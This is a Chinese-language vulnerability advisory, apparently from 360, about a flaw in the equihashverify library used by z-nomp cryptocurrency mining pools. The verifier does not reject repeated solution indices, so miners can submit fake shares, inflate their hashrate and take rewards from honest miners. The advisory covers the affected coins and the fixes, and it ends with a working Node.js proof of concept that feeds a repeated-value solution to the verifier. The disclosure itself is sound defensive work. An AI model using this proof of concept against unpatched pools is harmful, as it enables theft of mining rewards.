經過分析,我們發現此類攻擊利用了一個equihash算法(equihashverify: https://github.com/joshuayabut/equihashverify)實現上的邏輯漏洞。該漏洞可導致惡意礦工向z-nomp礦池提交虛假share,從而偽造自己的算力。從礦池中竊取誠實礦工的挖礦成果。由于目前許多新生數字貨幣均使用equihash算法進行工作量證明,且多數equihash礦池依賴于該equihashverify進行礦工算力校驗,所以該漏洞嚴重已經影響多個數字貨幣礦池。
Equihash 是一種工作量證明算法,由 Alex Biryukov 以及Dmitry Khovratovich設計而成,以一種計算機科學以及加密學概念(叫做廣義生日悖論)為基礎。 Equihash是一種需要高內存的工作量證明,這意味你能挖到多少幣主要取決于你的設備內存的大小。在短期內要創建一個低成本的挖礦定制硬件(專用集成電路)幾乎不可能,所以Equihash被認為可以構造更去中心化的一種POW算法。z-nomp在對Equihash工作量證明進行驗證的時候使用了equihashverify依賴庫來對礦工提交算力證明份額進行校驗。equihashverify對Equihash解驗證的錯誤實現,導致了該漏洞。
下面我們來看看漏洞:
在equi.c文件中,在函數bool verifyEH(const char *hdr, const char *soln)中,hdr是區塊頭信息,參數soln是礦工求解出來的{Xij}序列。verifyEH函數的作用,就是用來判斷{Xij}是否是由區塊頭信息hdr產生的廣義生日悖論問題的正確解。

Equihash算法的整體實現可以理解為將Xij序列帶入到
Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512);
然后判斷Vhash的結果是否全部為0。如果全部為0,則返回true;如果全部不為0,則返回false。這看似正確的實現,但實際上編程人員沒有考慮到:在廣義生日悖論問題中,所有的xij必須是不相同的。而這里并沒有檢查是否由重復。對于任意區塊頭hdr,攻擊者只要讓所有的 xi全部相等,則得到結果:
hash(hdr,x1)=hash(hdr,x2) =…= hash(hdr,x512)
由于這里剛好有偶數個,那么可以得到:
Vhash=hash(hdr,x1)^ hash(hdr,x2) ^…^. hash(hdr,x512)=0
也就是說,對于任意hdr,攻擊者隨機選擇一個21bit的數x,讓后讓soln={x,x,x,…,x},就可以繞過廣義生日悖論問題驗證,從而實現高達數十萬倍的算力數虛構。由于equihashverify實現中缺乏equihash論文中的多種其他校驗算法,所以除了這個簡單的碰撞攻擊之外,該代碼還存在其他安全問題。密碼算法的實現應嚴格按照算法標準來進行,否則就容易出現安全漏洞。Equihash算法標準詳細細節可參考論文:https://www.cryptolux.org/images/b/b9/Equihash.pdf
漏洞影響范圍
z-nomp是目前是目前市場占有率最高的equihash礦池。此次偽造算力攻擊主要針對各個z-nomp或基于z-nomp的礦池實例,至少影響了包括Zcash、Bitcoin Gold、Zencash、Bitcoin Private、Zclassic、Komodo、Hush、BitcoinZ、Bitcoin Candy、NewBTG等多種數字貨幣。
當前修復情況
目前,z-nomp已經將了equihashverify庫的的依賴換成了官方認證的版本(https://github.com/zencashofficial/equihashverify.git)。zencash官方已在上周發布更新公告:https://blog.zencash.com/update-for-the-equihash-mining-application-z-nomp/。 Bitcoin Gold官方也更新了新的equihashjs-verify。Zclassic/BTG/Zcash等主流數字貨幣和主流礦場均已修復了該實現漏洞。但由于數字貨幣分叉幣和代碼fork非常多,所以仍存在眾多小數字貨幣和小礦池未修復該漏洞,360建議各數字貨幣社區和礦池及時更新。
解決方案
可使用目前zencash官方的equihash解校驗器的來進行廣義生日問題解校驗。https://github.com/zencashofficial/equihashverify
這里提供一個簡單的POC:
var ev = require(‘bindings’)(‘equihashverify.node’);
header = Buffer(‘0400000008e9694cc2120ec1b5733cc12687b609058eec4f7046a521ad1d1e3049b400003e7420ed6f40659de0305ef9b7ec037f4380ed9848bc1c015691c90aa16ff3930000000000000000000000000000000000000000000000000000000000000000c9310d5874e0001f000000000000000000000000000000010b000000000000000000000000000040’, ‘hex’);
soln = Buffer(‘0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f0000f80007c0003e0001f’, ‘hex’);
console.log(ev.verify(header, soln));
原文:https://www.anquanke.com/post/id/106025